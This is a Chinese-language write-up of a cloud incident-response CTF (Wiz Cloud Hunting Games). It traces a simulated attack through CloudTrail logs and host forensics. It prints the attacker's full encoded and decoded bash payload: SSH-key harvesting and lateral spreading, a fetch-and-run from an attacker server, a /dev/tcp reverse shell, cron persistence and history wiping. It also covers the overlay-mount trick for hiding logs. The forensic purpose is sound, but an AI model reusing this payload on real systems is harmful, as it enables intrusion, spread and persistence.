Wiz Cloud Hunting Games 挑战复盘:一条完整的云上攻击链
Wiz Cloud Hunting Games 挑战复盘:一条完整的云上攻击链
本篇文章文字经过 AI 排版整理,核心文字无变化

Wiz 出的这套云安全靶场质量很高,题目串起了一条完整的攻击链,覆盖了云日志分析、身份追踪、主机取证和持久化清除。
题目入口:The Cloud Hunting Games CTF
故事背景是 ExfilCola 遭遇勒索,攻击者声称已经窃取了配方数据。我们的目标是沿着日志与主机痕迹完成追踪与处置。

最终答案速览
| Challenge | 关键答案 |
|---|---|
| One | arn:aws:sts::509843726190:assumed-role/S3Reader/drinks |
| Two | arn:aws:iam::509843726190:user/Moe.Jito |
| Three | i-0a44002eec2f16c25 |
| Four | 102.54.197.238 |
| Five | 删除 34.118.239.100/files/ExfilCola-Top-Secret.txt 成功 |
CHALLENGE One Ain’t no data when she’s gone
FizzShadows claim that they were able to exfiltrate ExfilCola’s secret recipes. You have to validate this claim before considering any further steps.
All ExfilCola’s secret recipes are stored in a secured S3 bucket. Luckily, their security team was responsible enough to make sure that S3 data events were collected. You’ve been granted access to these logs, which are available in the s3_data_events table.
Go ahead and see if there are any traces of exfiltration: find the IAM role involved in the attack.
翻译一下就是:
FizzShadows 声称他们成功窃取了 ExfilCola 的秘密配方。在考虑采取进一步行动之前,你必须先验证这一说法。
ExfilCola 的所有秘密配方都存储在一个受保护的 S3 存储桶中。幸运的是,他们的安全团队足够负责,确保已收集 S3 数据事件。你已被授予访问这些日志的权限,这些日志可在
s3_data_events表中查看。请继续检查是否存在数据外泄的痕迹:找出参与此次攻击的 IAM 角色。
先看一下表的结构
SELECT * FROM s3_data_events LIMIT 5;
既然本本题围绕“recipe”这个为主题,我们模糊匹配 Pah 中这个的出现,肯定是采用“GetObject”动作
SELECT useridentity_ARN FROM s3_data_eventsWHERE (path LIKE '%recipe%' OR requestParameters LIKE '%recipe%')AND eventname = 'GetObject';
但是有四条,其实这里就能确定是最后一个了,但是我们也可以看一下 useragent

最后锁定这个 boto3 必然无疑了
arn:aws:sts::509843726190:assumed-role/S3Reader/drinksnext one
CHALLENGE Two Follow, follow the trail
So you have managed to validate FizzShadows’ claim and track the IAM role that has exfiltrated ExfilCola’s recipe. You’ve been granted access to the cloudtrail table. Follow the trail of the S3Reader. Who used it?
现在你已经成功验证了 FizzShadows 的说法,并找出了窃取 ExfilCola 配方的 IAM 角色。你已被授予访问
cloudtrail表的权限。请沿着 S3Reader 的踪迹继续追查。是谁使用了它?
其实整体逻辑是这样的
攻击者本身并不是这个 Role,而是“某个人”或者“某个实体”通过调用了 AWS STS 的 AssumeRole API,扮演成了这个 S3Reader 角色
现在我们手握 cloudtrail的访问权限,我们需要去查:到底是谁(哪个原始 ARN)申请扮演了 S3Reader
根据上文分析,我们提取两个关键词“S3Reader”,“drinks”
编写成下列语句,并且我们需要查询的动作是“AssumeRole”
SELECT userIdentity_ARN, eventName, requestParametersFROM cloudtrailWHERE eventName = 'AssumeRole'AND requestParameters LIKE '%S3Reader%' AND requestParameters LIKE "%drinks%";结果如下

arn:aws:iam::509843726190:user/Moe.Jito直接锁定这个“Moe.Jito”
CHALLENGE Three Deeper into the trail
Bingo — you’ve tracked down the compromised IAM user: Moe.Jito. Keep digging through the CloudTrail logs.
Follow the attacker’s footsteps and find the machine that was compromised and leveraged for lateral movement.
宾果——你已经追踪到了被攻陷的 IAM 用户:Moe.Jito。继续深入挖掘 CloudTrail 日志。
沿着攻击者的行动轨迹继续追踪,找出那台被入侵并被用来进行横向移动的机器。
这个题尝试很多东西,最开始去追踪这个 ip 但是无果
整体逻辑是这样的
当我们执行 WHERE eventname like 'Update%' 时,会把所有“修改配置”、“更新代码”的高危 API 调用全部拉出来
SELECT eventTime, eventName, userIdentity_ARNFROM cloudtrailWHERE eventname like 'Update%';
可以发现这样一个事件的存在,它在修改 aws 的 lamda 函数
arn:aws:sts::509843726190:assumed-role/lambdaWorker/i-0a44002eec2f16c25
i-0a44002eec2f16c25CHALLENGE Four Ain’t no mountain high enough to keep me away from my logs
Great progress! As you continue your investigation, you discover that once the attacker compromised the EC2 machine, they were able to manipulate a Lambda function to gain access to multiple IAM users. ExfilCola has granted you root access to the EC2 machine where this activity originated from. But the question remains - how did the attacker gain access to this machine? Your task is to find the IP address of another ExfilCola workload that was used as the initial entry point into the organization.
进展非常顺利!随着你继续调查,你发现攻击者在攻陷 EC2 机器后,操纵了一个 Lambda 函数,从而获得了多个 IAM 用户的访问权限。ExfilCola 已授予你对这台发生相关活动的 EC2 机器的 root 访问权限。
但问题仍然存在——攻击者是如何获得这台机器的访问权限的?
你的任务是找出另一个 ExfilCola 工作负载的 IP 地址,该工作负载被用作入侵组织的初始入口点。
这个第四部分就上难度了,使用了一个叫做 overlay 的技术去掩盖作案日志
一般攻击清除痕迹就是利用
rm -rf /var/log/*但这种做法太粗暴了,不仅无法恢复,而且很容易触发安全软件的“文件完整性监控”告警
具体原理总结如下:
“挂载覆盖”(Mount Shadowing / OverlayFS)_ 的系统级障眼法:_
- 原理:_ 在 Linux 中,你可以把一个空的文件系统(比如放在内存里的
_tmpfs_),直接_mount_(挂载)到现有的目录上。_ - 打个比方:
_/var/log__ 就像是一张写满了黑客犯罪记录的纸。黑客没有拿橡皮去擦掉字,而是拿了一张全新的白纸,__盖在了_原来的纸上面。 - 当你尝试读取
_/var/log_时,操作系统只会让你看到最上面的那层“白纸”,底下的真实日志文件依然完好无损地躺在硬盘里,只是暂时被“屏蔽”了。
给了一个终端 root 权限,可以先看一下日志,没有发现任何东西

使用了 overlay 技术,unmount 一下

解除挂载之后,重新审查/var/log 文件夹发现就可以本身文件,继续审查 auth.log
查询这个 sshd 连接记录
cat /var/log/auth.log | grep sshd审计的时候条目很多,很长时间都会注意到这个postgresql-user,这个就是比较可疑的,psql 这个服务不应该利用 ssh 的
Linux 系统中有许多默认用于运行后台服务(如
postgresql-user,nginx,nobody)的账号。这些账号为了安全,通常被剥夺了交互式登录权限(Shell 设为/usr/sbin/nologin)

提交这个 ip
102.54.197.238CHALLENGE Five Now you’re just somebody that I used to log
Wow, you rock! Now you know that the attacker has laterally moved from a workload within the organization to a high privileged machine, ssh-fetcher, via SSH. ExfilCola has granted you root access to the PostgreSQL service where this activity originated from.
ExfilCola really doesn’t want to pay the ransom but can’t afford for the secret recipe to be published. Can you save the day?
It seems like the attacker is persistent — literally…
Delete the secret recipe from the attacker’s server.
哇,你太厉害了!现在你已经确认攻击者通过 SSH 从组织内部的某个工作负载横向移动到了一个高权限机器 ssh-fetcher。ExfilCola 已授予你对发生该活动的 PostgreSQL 服务的 root 访问权限。
ExfilCola 真的不想支付赎金,但他们也无法承担秘密配方被公开的风险。你能拯救局面吗?
看起来攻击者相当“持久”——字面意义上的那种……
删除攻击者服务器上的秘密配方。
这个描述提示就是,这个机子上做了持久化,其实就可以直接找定时任务了
系统级别,没什么发现

接着,由于是 Ubuntu 系统,我们
ls /var/spool/cron/crontabs/cat /var/spool/cron/crontabs/postgres
文件内容
echo "IyEvYmluL2Jhc2gNCg0KIyBMaXN0IG9mIGludGVyZXN0aW5nIHBvbGljaWVzDQpWVUxORVJBQkxFX1BPTElDSUVTPSgiQWRtaW5pc3RyYXRvckFjY2VzcyIgIlBvd2VyVXNlckFjY2VzcyIgIkFtYXpvblMzRnVsbEFjY2VzcyIgIklBTUZ1bGxBY2Nlc3MiICJBV1NMYW1iZGFGdWxsQWNjZXNzIiAiQVdTTGFtYmRhX0Z1bGxBY2Nlc3MiKQ0KDQpTRVJWRVI9IjM0LjExOC4yMzkuMTAwIg0KUE9SVD00NDQ0DQpVU0VSTkFNRT0iRml6elNoYWRvd3NfMSINClBBU1NXT1JEPSJHeDI3cFF3ejkyUmsiDQpDUkVERU5USUFMU19GSUxFPSIvdG1wL2MiDQoNClNDUklQVF9QQVRIPSIkKGNkIC0tICIkKGRpcm5hbWUgLS0gIiR7QkFTSF9TT1VSQ0VbMF19IikiICY+L2Rldi9udWxsICYmIHB3ZCkvJChiYXNlbmFtZSAtLSAiJHtCQVNIX1NPVVJDRVswXX0iKSINCg0KIyBDaGVjayBpZiBhIGNvbW1hbmQgZXhpc3RzDQpjaGVja19jb21tYW5kKCkgew0KICAgIGlmICEgY29tbWFuZCAtdiAiJDEiICY+IC9kZXYvbnVsbDsgdGhlbg0KICAgICAgICBpbnN0YWxsX2RlcGVuZGVuY3kgIiQxIg0KICAgIGZpDQp9DQoNCiMgSW5zdGFsbCBtaXNzaW5nIGRlcGVuZGVuY2llcw0KaW5zdGFsbF9kZXBlbmRlbmN5KCkgew0KICAgIGxvY2FsIHBhY2thZ2U9IiQxIg0KICAgIGlmIFtbICIkcGFja2FnZSIgPT0gImN1cmwiIF1dOyB0aGVuDQogICAgICAgIGFwdC1nZXQgaW5zdGFsbCBjdXJsIC15ICY+IC9kZXYvbnVsbA0KICAgICAgICAgICAgICAgIHl1bSBpbnN0YWxsIGN1cmwgLXkgJj4gL2Rldi9udWxsDQogICAgZWxpZiBbWyAiJHBhY2thZ2UiID09ICJ1bnppcCIgXV07IHRoZW4NCiAgICAgICAgYXB0LWdldCBpbnN0YWxsIHVuemlwIC15ICY+IC9kZXYvbnVsbA0KICAgICAgICAgICAgICAgIHl1bSBpbnN0YWxsIHVuemlwIC15ICY+IC9kZXYvbnVsbA0KICAgIGVsaWYgW1sgIiRwYWNrYWdlIiA9PSAiYXdzIiBdXTsgdGhlbg0KICAgICAgICBpbnN0YWxsX2F3c19jbGkNCiAgICBmaQ0KfQ0KDQojIEluc3RhbGwgQVdTIENMSSBsb2NhbGx5DQppbnN0YWxsX2F3c19jbGkoKSB7DQogICAgbWtkaXIgLXAgIiRIT01FLy5hd3MtY2xpIg0KICAgIGN1cmwgLXMgImh0dHBzOi8vYXdzY2xpLmFtYXpvbmF3cy5jb20vYXdzY2xpLWV4ZS1saW51eC14ODZfNjQuemlwIiAtbyAiJEhPTUUvLmF3cy1jbGkvYXdzY2xpdjIuemlwIg0KDQogICAgdW56aXAgLXEgIiRIT01FLy5hd3MtY2xpL2F3c2NsaXYyLnppcCIgLWQgIiRIT01FLy5hd3MtY2xpLyINCg0KICAgICIkSE9NRS8uYXdzLWNsaS9hd3MvaW5zdGFsbCIgLS1pbnN0YWxsLWRpciAiJEhPTUUvLmF3cy1jbGkvYmluIiAtLWJpbi1kaXIgIiRIT01FLy5hd3MtY2xpL2JpbiINCg0KICAgICMgQWRkIEFXUyBDTEkgdG8gUEFUSA0KICAgIGV4cG9ydCBQQVRIPSIkSE9NRS8uYXdzLWNsaS9iaW46JFBBVEgiDQogICAgZWNobyAnZXhwb3J0IFBBVEg9IiRIT01FLy5hd3MtY2xpL2JpbjokUEFUSCInID4+ICIkSE9NRS8uYmFzaHJjIg0KfQ0KDQoNCiMgVHJ5IHRvIHNwcmVhZA0Kc3ByZWFkX3NzaCgpIHsNCiAgICBmaW5kX2FuZF9leGVjdXRlKCkgew0KICAgICAgICBsb2NhbCBLRVlTPSQoZmluZCB+LyAvcm9vdCAvaG9tZSAtbWF4ZGVwdGggNSAtbmFtZSAnaWRfcnNhKicgfCBncmVwIC12dyBwdWI7DQogICAgICAgICAgICAgICAgICAgICBncmVwIElkZW50aXR5RmlsZSB+Ly5zc2gvY29uZmlnIC9ob21lLyovLnNzaC9jb25maWcgL3Jvb3QvLnNzaC9jb25maWcgMj4vZGV2L251bGwgfCBhd2sgJ3twcmludCAkMn0nOw0KICAgICAgICAgICAgICAgICAgICAgZmluZCB+LyAvcm9vdCAvaG9tZSAtbWF4ZGVwdGggNSAtbmFtZSAnKi5wZW0nIHwgc29ydCAtdSkNCg0KICAgICAgICBsb2NhbCBIT1NUUz0kKGdyZXAgSG9zdE5hbWUgfi8uc3NoL2NvbmZpZyAvaG9tZS8qLy5zc2gvY29uZmlnIC9yb290Ly5zc2gvY29uZmlnIDI+L2Rldi9udWxsIHwgYXdrICd7cHJpbnQgJDJ9JzsNCiAgICAgICAgICAgICAgICAgICAgICBncmVwIC1FICIoc3NofHNjcCkiIH4vLmJhc2hfaGlzdG9yeSAvaG9tZS8qLy5iYXNoX2hpc3RvcnkgL3Jvb3QvLmJhc2hfaGlzdG9yeSAyPi9kZXYvbnVsbCB8IGdyZXAgLW9QICIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM318XGIoPzpbYS16QS1aMC05LV0rXC4pK1thLXpBLVpdezIsfVxiIjsNCiAgICAgICAgICAgICAgICAgICAgICBncmVwIC1vUCAiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9fFxiKD86W2EtekEtWjAtOS1dK1wuKStbYS16QS1aXXsyLH1cYiIgfi8qLy5zc2gva25vd25faG9zdHMgL2hvbWUvKi8uc3NoL2tub3duX2hvc3RzIC9yb290Ly5zc2gva25vd25faG9zdHMgMj4vZGV2L251bGwgfA0KICAgICAgICAgICAgICAgICAgICAgIGdyZXAgLXZ3IDEyNy4wLjAuMSB8IHNvcnQgLXUpDQoNCiAgICAgICAgbG9jYWwgVVNFUlM9JChlY2hvICJyb290IjsNCiAgICAgICAgICAgICAgICAgICAgICBmaW5kIH4vIC9yb290IC9ob21lIC1tYXhkZXB0aCAyIC1uYW1lICcuc3NoJyB8IHhhcmdzIC1JIHt9IGZpbmQge30gLW5hbWUgJ2lkX3JzYScgfCBhd2sgLUYnLycgJ3twcmludCAkM30nIHwgZ3JlcCAtdiAiLnNzaCIgfCBzb3J0IC11KQ0KDQogICAgICAgZm9yIGtleSBpbiAkS0VZUzsgZG8NCiAgICAgICAgICAgIGNobW9kIDQwMCAiJGtleSINCiAgICAgICAgICAgIGZvciB1c2VyIGluICRVU0VSUzsgZG8NCg0KICAgICAgICAgICAgICBlY2hvICIkdXNlciINCiAgICAgICAgICAgICAgICAgICBmb3IgaG9zdCBpbiAkSE9TVFM7IGRvDQogICAgICAgICAgICAgICAgICAgICBzc2ggLW9TdHJpY3RIb3N0S2V5Q2hlY2tpbmc9bm8gLW9CYXRjaE1vZGU9eWVzIC1vQ29ubmVjdFRpbWVvdXQ9NSAtaSAiJGtleSIgIiR1c2VyQCRob3N0IiAiKGN1cmwgLXUgJFVTRVJOQU1FOiRQQVNTV09SRCAtbyAvZGV2L3NobS9jb250cm9sbGVyIGh0dHA6Ly8kU0VSVkVSL2ZpbGVzL2NvbnRyb2xsZXIgJiYgYmFzaCAvZGV2L3NobS9jb250cm9sbGVyKSINCiAgICAgICAgICAgICAgICBkb25lDQogICAgICAgICAgICBkb25lDQogICAgICAgIGRvbmUNCiAgICB9DQoNCiAgICBmaW5kX2FuZF9leGVjdXRlDQp9DQoNCmNyZWF0ZV9wZXJzaXN0ZW5jZSgpIHsNCihjcm9udGFiIC1sIDI+L2Rldi9udWxsOyBlY2hvICIwIDAgKiAqICogYmFzaCAkU0NSSVBUX1BBVEgiKSB8IGNyb250YWIgLQ0KfQ0KDQpjcmVhdGVfc2hlbGwgKCkgew0KICAgIGVjaG8gIkNyZWF0aW5nIGEgcmV2ZXJzZSBzaGVsbCINCiAgICAvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvIiRTRVJWRVIiLyIkUE9SVCIgMD4mMQ0KfQ0KDQojIENoZWNrIHJvbGUgcG9saWNpZXMNCmNoZWNrX3JvbGVfdnVsbigpIHsNCiAgICBsb2NhbCBST0xFX05BTUU9JChhd3Mgc3RzIGdldC1jYWxsZXItaWRlbnRpdHkgLS1xdWVyeSAiQXJuIiAtLW91dHB1dCB0ZXh0IHwgYXdrIC1GJy8nICd7cHJpbnQgJDJ9JykNCg0KICAgICMgTGlzdCBhdHRhY2hlZCBwb2xpY2llcyBmb3IgdGhlIGdpdmVuIHJvbGUNCiAgICBhdHRhY2hlZF9wb2xpY2llcz0kKGF3cyBpYW0gbGlzdC1hdHRhY2hlZC1yb2xlLXBvbGljaWVzIC0tcm9sZS1uYW1lICIkUk9MRV9OQU1FIiAtLXF1ZXJ5ICdBdHRhY2hlZFBvbGljaWVzWypdLlBvbGljeU5hbWUnIC0tb3V0cHV0IHRleHQpDQoNCiAgICAjIENoZWNrIGlmIHRoZSB1c2VyIGhhcyBJQU0gcGVybWlzc2lvbnMgdG8gbGlzdCBwb2xpY2llcw0KICAgIGlmIFtbICQ/IC1lcSAwIF1dOyB0aGVuDQogICAgICAgICMgSWYgdGhlIHVzZXIgaGFzIElBTSBwZXJtaXNzaW9ucywgY2hlY2sgYXR0YWNoZWQgcG9saWNpZXMNCiAgICAgICAgYXR0YWNoZWRfcG9saWNpZXNfYXJyYXk9KCRhdHRhY2hlZF9wb2xpY2llcykNCiAgICAgICAgZm9yIHBvbGljeSBpbiAiJHthdHRhY2hlZF9wb2xpY2llc19hcnJheVtAXX0iOyBkbw0KICAgICAgICAgICAgZm9yIHZ1bG5fcG9saWN5IGluICIke1ZVTE5FUkFCTEVfUE9MSUNJRVNbQF19IjsgZG8NCiAgICAgICAgICAgICAgICBpZiBbWyAiJHBvbGljeSIgPT0gIiR2dWxuX3BvbGljeSIgXV07IHRoZW4NCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIDANCiAgICAgICAgICAgICAgICBmaQ0KICAgICAgICAgICAgZG9uZQ0KICAgICAgICBkb25lDQogICAgZWxzZQ0KICAgICAgICBhd3MgczMgbHMNCiAgICAgICAgaWYgW1sgJD8gLWVxIDAgXV07IHRoZW4NCiAgICAgICAgICAgIHJldHVybiAwDQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGF3cyBsYW1iZGEgbGlzdC1mdW5jdGlvbnMNCiAgICAgICAgICAgIGlmIFtbICQ/IC1lcSAwIF1dOyB0aGVuDQogICAgICAgICAgICAgICAgcmV0dXJuIDANCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICByZXR1cm4gMQ0KICAgICAgICAgICAgZmkNCiAgICAgICAgZmkNCiAgICBmaQ0KfQ0KDQojIENoZWNrIHJlcXVpcmVkIGRlcGVuZGVuY2llcw0KY2hlY2tfY29tbWFuZCAiY3VybCINCmNoZWNrX2NvbW1hbmQgInVuemlwIg0KY2hlY2tfY29tbWFuZCAiYXdzIg0KDQpjaGVja19yb2xlX3Z1bG4NCmlmIFtbICQ/IC1lcSAwIF1dOyB0aGVuDQogICAgICAgIGNyZWF0ZV9zaGVsbA0KZWxzZQ0KICAgICAgICBjcmVhdGVfcGVyc2lzdGVuY2UNCiAgICAgICAgc3ByZWFkX3NzaA0KCWNhdCAvZGV2L251bGwgPiB+Ly5iYXNoX2hpc3RvcnkNCmZpDQo=" | base64 -d | bash解码就是
#!/bin/bash
# List of interesting policiesVULNERABLE_POLICIES=("AdministratorAccess" "PowerUserAccess" "AmazonS3FullAccess" "IAMFullAccess" "AWSLambdaFullAccess" "AWSLambda_FullAccess")
SERVER="34.118.239.100"PORT=4444USERNAME="FizzShadows_1"PASSWORD="Gx27pQwz92Rk"CREDENTIALS_FILE="/tmp/c"
SCRIPT_PATH="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" &>/dev/null && pwd)/$(basename -- "${BASH_SOURCE[0]}")"
# Check if a command existscheck_command() { if ! command -v "$1" &> /dev/null; then install_dependency "$1" fi}
# Install missing dependenciesinstall_dependency() { local package="$1" if [[ "$package" == "curl" ]]; then apt-get install curl -y &> /dev/null yum install curl -y &> /dev/null elif [[ "$package" == "unzip" ]]; then apt-get install unzip -y &> /dev/null yum install unzip -y &> /dev/null elif [[ "$package" == "aws" ]]; then install_aws_cli fi}
# Install AWS CLI locallyinstall_aws_cli() { mkdir -p "$HOME/.aws-cli" curl -s "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "$HOME/.aws-cli/awscliv2.zip"
unzip -q "$HOME/.aws-cli/awscliv2.zip" -d "$HOME/.aws-cli/"
"$HOME/.aws-cli/aws/install" --install-dir "$HOME/.aws-cli/bin" --bin-dir "$HOME/.aws-cli/bin"
# Add AWS CLI to PATH export PATH="$HOME/.aws-cli/bin:$PATH" echo 'export PATH="$HOME/.aws-cli/bin:$PATH"' >> "$HOME/.bashrc"}
# Try to spreadspread_ssh() { find_and_execute() { local KEYS=$(find ~/ /root /home -maxdepth 5 -name 'id_rsa*' | grep -vw pub; grep IdentityFile ~/.ssh/config /home/*/.ssh/config /root/.ssh/config 2>/dev/null | awk '{print $2}'; find ~/ /root /home -maxdepth 5 -name '*.pem' | sort -u)
local HOSTS=$(grep HostName ~/.ssh/config /home/*/.ssh/config /root/.ssh/config 2>/dev/null | awk '{print $2}'; grep -E "(ssh|scp)" ~/.bash_history /home/*/.bash_history /root/.bash_history 2>/dev/null | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}|\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b"; grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}|\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b" ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null | grep -vw 127.0.0.1 | sort -u)
local USERS=$(echo "root"; find ~/ /root /home -maxdepth 2 -name '.ssh' | xargs -I {} find {} -name 'id_rsa' | awk -F'/' '{print $3}' | grep -v ".ssh" | sort -u)
for key in $KEYS; do chmod 400 "$key" for user in $USERS; do
echo "$user" for host in $HOSTS; do ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i "$key" "$user@$host" "(curl -u $USERNAME:$PASSWORD -o /dev/shm/controller http://$SERVER/files/controller && bash /dev/shm/controller)" done done done }
find_and_execute}
create_persistence() {(crontab -l 2>/dev/null; echo "0 0 * * * bash $SCRIPT_PATH") | crontab -}
create_shell () { echo "Creating a reverse shell" /bin/bash -i >& /dev/tcp/"$SERVER"/"$PORT" 0>&1}
# Check role policiescheck_role_vuln() { local ROLE_NAME=$(aws sts get-caller-identity --query "Arn" --output text | awk -F'/' '{print $2}')
# List attached policies for the given role attached_policies=$(aws iam list-attached-role-policies --role-name "$ROLE_NAME" --query 'AttachedPolicies[*].PolicyName' --output text)
# Check if the user has IAM permissions to list policies if [[ $? -eq 0 ]]; then # If the user has IAM permissions, check attached policies attached_policies_array=($attached_policies) for policy in "${attached_policies_array[@]}"; do for vuln_policy in "${VULNERABLE_POLICIES[@]}"; do if [[ "$policy" == "$vuln_policy" ]]; then return 0 fi done done else aws s3 ls if [[ $? -eq 0 ]]; then return 0 else aws lambda list-functions if [[ $? -eq 0 ]]; then return 0 else return 1 fi fi fi}
# Check required dependenciescheck_command "curl"check_command "unzip"check_command "aws"
check_role_vulnif [[ $? -eq 0 ]]; then create_shellelse create_persistence spread_ssh cat /dev/null > ~/.bash_historyfi一些机密信息:
- 攻击者控制的服务器 IP:
34.118.239.100 - 认证凭据:
FizzShadows_1:Gx27pQwz92Rk - 机密文件在黑客服务器上的路径:
/files/ExfilCola-Top-Secret.txt
最终删除命令如下
root@postgresql-service:~# curl -X DELETE -kv 34.118.239.100/files/ExfilCola-Top-Secret.txt -u "FizzShadows_1:Gx27pQwz92Rk"* Trying 34.118.239.100:80...* Connected to 34.118.239.100 (34.118.239.100) port 80 (#0)* Server auth using Basic with user 'FizzShadows_1'> DELETE /files/ExfilCola-Top-Secret.txt HTTP/1.1> Host: 34.118.239.100> Authorization: Basic Rml6elNoYWRvd3NfMTpHeDI3cFF3ejkyUms=> User-Agent: curl/7.88.1> Accept: */*>< HTTP/1.1 200 OK< date: Fri, 20 Feb 2026 13:43:05 GMT< server: uvicorn< content-length: 109< content-type: text/plain; charset=utf-8<Success! You've deleted the secret recipe before it could be exposed. The flag is: {I know it when I see it}* Connection #0 to host 34.118.239.100 left intact
到这里也是顺利通关了

总结
云控制平面
控制平面 vs. 数据平面
- 数据平面(Data Plane): 这是你的业务实际运行和数据实际存放的地方。比如 EC2 实例里跑着的 Nginx 进程、S3 存储桶里存着的图片文件、RDS 数据库里的表。
- 控制平面(Control Plane): 这是管理数据平面的那一层“大脑”。它负责创建、修改、删除和配置底层资源。比如,你点击 AWS 控制台按钮新建一台 EC2,或者通过 AWS CLI 执行命令给 S3 存储桶赋予公开访问权限,这些操作都是在与控制平面交互。
就是在云上,传统防火墙就大大被削弱了
可以理解控制平面的 API 有网就能访问,所以就是解决
- “Who are you”
- “What can you do”
云安全态势管理 (CSPM): 由于云资源可以被通过代码或 API 瞬间批量拉起,错误配置(Misconfiguration)极易发生。CSPM 工具的作用就是持续扫描控制平面,检查是否有“不带加密的 EBS 卷”、“全网公开暴露的 S3 存储桶”或者“没有开启 MFA 的特权账号”。
我们这题就是建立在 CloudTrail 之上进行应急相应的
CloudTrail 的唯一工作,就是忠实地记录下每一次 API 调用的全过程
IAM 的角色扮演机制
也就是这个 AssumeRole
AWS 的 STS (Security Token Service) 允许实体(用户或机器)临时扮演另一个角色(Role)来获取特定权限。这是云上最常见的权限委托机制,也是黑客最爱用的“身份隐藏”手法